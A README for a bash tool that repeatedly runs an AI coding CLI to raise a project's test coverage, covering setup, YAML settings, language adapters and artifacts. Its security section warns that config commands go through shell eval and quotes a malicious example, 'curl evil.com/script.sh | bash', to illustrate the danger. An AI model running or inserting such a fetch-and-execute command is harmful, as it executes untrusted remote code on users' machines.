External Ralph Loop

An autonomous test coverage improvement tool powered by Claude Code CLI.

Ralph Loop iteratively runs tests, measures coverage, and uses Claude's AI capabilities to automatically improve test coverage through direct code editing.

Features

• Multi-language Support: Python, JavaScript/TypeScript, Go via adapter plugins
• Claude Code CLI Integration: Uses Claude's Edit/Write/Bash tools directly
• Configurable: YAML config files or environment variables
• Artifact Management: Automatic compression and archival of iteration logs
• Git Integration: Optional auto-commit of improvements

Quick Start

# Clone the repository
git clone https://github.com/yourusername/external-ralph-loop.git
cd external-ralph-loop

# Run in your project directory
cd /path/to/your/project
TARGET_COVERAGE=80 /path/to/external-ralph-loop/ralph-loop.sh

Installation

1. Clone this repository
2. Ensure Claude Code CLI is installed and authenticated
3. Add ralph-loop.sh to your PATH or use the full path

Requirements

• Bash 4.0+
• Claude Code CLI (claude command)
• bc (arbitrary precision calculator, for coverage comparison)
• timeout (coreutils, for Claude CLI timeout - optional)
• Language-specific tools:
  • Python: uv, pytest, coverage
  • JavaScript: npm/yarn/pnpm, jest/vitest, c8/nyc
  • Go: go (built-in coverage)

Configuration

Option 1: YAML Config File (Recommended)

Create .ralph-loop.yaml in your project root:

# Language: python, javascript, or go
language: python

# Test command
test_command: "uv run pytest -q"

# Coverage report command
coverage_command: "uv run coverage report --show-missing"

# Regex pattern to filter coverage paths
coverage_pattern: "^src/"

# Target coverage percentage
target_coverage: 80

# Maximum iterations before stopping
max_iterations: 10

# Custom prompt file (optional, leave empty for built-in)
prompt_file: ""

Option 2: Environment Variables

Variable	Default	Description
LANGUAGE	python	Language adapter to use
TARGET_COVERAGE	100	Target coverage percentage
MAX_ITERATIONS	25	Maximum improvement iterations
PROMPT_FILE	(built-in)	Path to custom prompt file
COVERAGE_PATTERN	Language-specific	Regex for coverage path filtering (Python only)
TEST_COMMAND	Language-specific	Custom test command
COVERAGE_COMMAND	Language-specific	Custom coverage command
GIT_COMMIT	false	Auto-commit improvements
WORK_DIR	.ralph_loop_work	Working directory for artifacts
CLEANUP_WORK_DIR	false	Delete work dir after archiving
CLAUDE_CLI_CMD	claude	Claude CLI command path
CLAUDE_CLI_ARGS	(empty)	Additional CLI arguments
CLAUDE_TIMEOUT	3600	Claude CLI timeout in seconds
STDOUT_TAIL_LINES	1000	Lines of test stdout in prompt
STDERR_TAIL_LINES	200	Lines of test stderr in prompt
CONFIG_FILE	.ralph-loop.yaml	Config file path
GIT_AUTHOR_NAME	Claude	Git commit author name
GIT_AUTHOR_EMAIL	noreply@anthropic.com	Git commit author email

Language Adapters

Python (default)

language: python
test_command: "uv run pytest -q"
coverage_command: "uv run coverage report --show-missing"
coverage_pattern: "^src/"

JavaScript/TypeScript

language: javascript
test_command: "npm test -- --coverage"
coverage_command: "npx c8 report"

Go

language: go
test_command: "go test -coverprofile=coverage.out ./..."
coverage_command: "go tool cover -func=coverage.out"

Custom Prompts

Create a custom prompt file to guide Claude's improvements:

# Use custom prompt
PROMPT_FILE=my-prompt.txt ralph-loop.sh

Or in .ralph-loop.yaml:

prompt_file: "./prompts/my-custom-prompt.txt"

How It Works

1. Run Tests: Execute test suite and capture results
2. Measure Coverage: Parse coverage report for current percentage
3. Build Prompt: Combine test results, coverage data, and improvement instructions
4. Call Claude: Send prompt to Claude Code CLI (uses --print mode)
5. Apply Changes: Claude uses Edit/Write/Bash tools to modify code directly
6. Archive: Save iteration artifacts (logs, coverage reports)
7. Repeat: Continue until target coverage reached or max iterations

┌─────────────────────────────────────────────────────────────┐
│                    Ralph Loop Cycle                          │
│                                                              │
│    ┌──────────┐    ┌──────────┐    ┌──────────┐            │
│    │ Run Tests│───▶│ Measure  │───▶│  Build   │            │
│    │          │    │ Coverage │    │  Prompt  │            │
│    └──────────┘    └──────────┘    └────┬─────┘            │
│         ▲                               │                   │
│         │                               ▼                   │
│    ┌────┴─────┐    ┌──────────┐    ┌──────────┐            │
│    │  Check   │◀───│  Apply   │◀───│  Claude  │            │
│    │ Coverage │    │ Changes  │    │   CLI    │            │
│    └──────────┘    └──────────┘    └──────────┘            │
│                                                              │
│    Exit: coverage >= target OR iterations >= max             │
└─────────────────────────────────────────────────────────────┘

Output & Artifacts

Each iteration creates:

• test.stdout.txt / test.stderr.txt - Test output
• coverage.*.txt - Coverage reports
• prompt.combined.txt - Full prompt sent to Claude
• claude.log - Claude's response and tool usage

Archives are saved to WORK_DIR:

• ralph-loop-iter{N}-{timestamp}.tar.gz - Per-iteration
• ralph-loop-final-{timestamp}.tar.gz - Complete session

Examples

Python Project

cd my-python-project
cat > .ralph-loop.yaml << 'EOF'
language: python
test_command: "pytest -q"
coverage_command: "coverage report --show-missing"
coverage_pattern: "^my_package/"
target_coverage: 80
max_iterations: 15
EOF

ralph-loop.sh

JavaScript Project

cd my-js-project
TARGET_COVERAGE=70 LANGUAGE=javascript ralph-loop.sh

Go Project

cd my-go-project
LANGUAGE=go TARGET_COVERAGE=75 MAX_ITERATIONS=10 ralph-loop.sh

Contributing

Contributions welcome! To add a new language adapter:

1. Create adapters/yourlanguage.sh
2. Implement required functions:
   • adapter_run_tests(iter_dir)
   • adapter_measure_coverage(iter_dir)
   • adapter_apply_defaults()
3. Add example config in examples/yourlanguage/
4. Update README with language-specific docs

Security Considerations

Warning: Command Execution via eval

Ralph Loop executes test_command and coverage_command values using shell eval. This means:

• Never use untrusted .ralph-loop.yaml files - A malicious config can execute arbitrary commands
• Review YAML configs before running - Especially in CI/CD or shared environments
• Use environment variables for sensitive commands - They're harder to tamper with than files

# SAFE: You control this file
test_command: "pytest -q"

# DANGEROUS: Don't use configs from untrusted sources
test_command: "curl evil.com/script.sh | bash"  # Malicious!

License

MIT License - see LICENSE for details.

Credits

Inspired by the RALF (Research-Action Loop Framework) pattern for autonomous AI agents.

Built with Claude Code by Anthropic.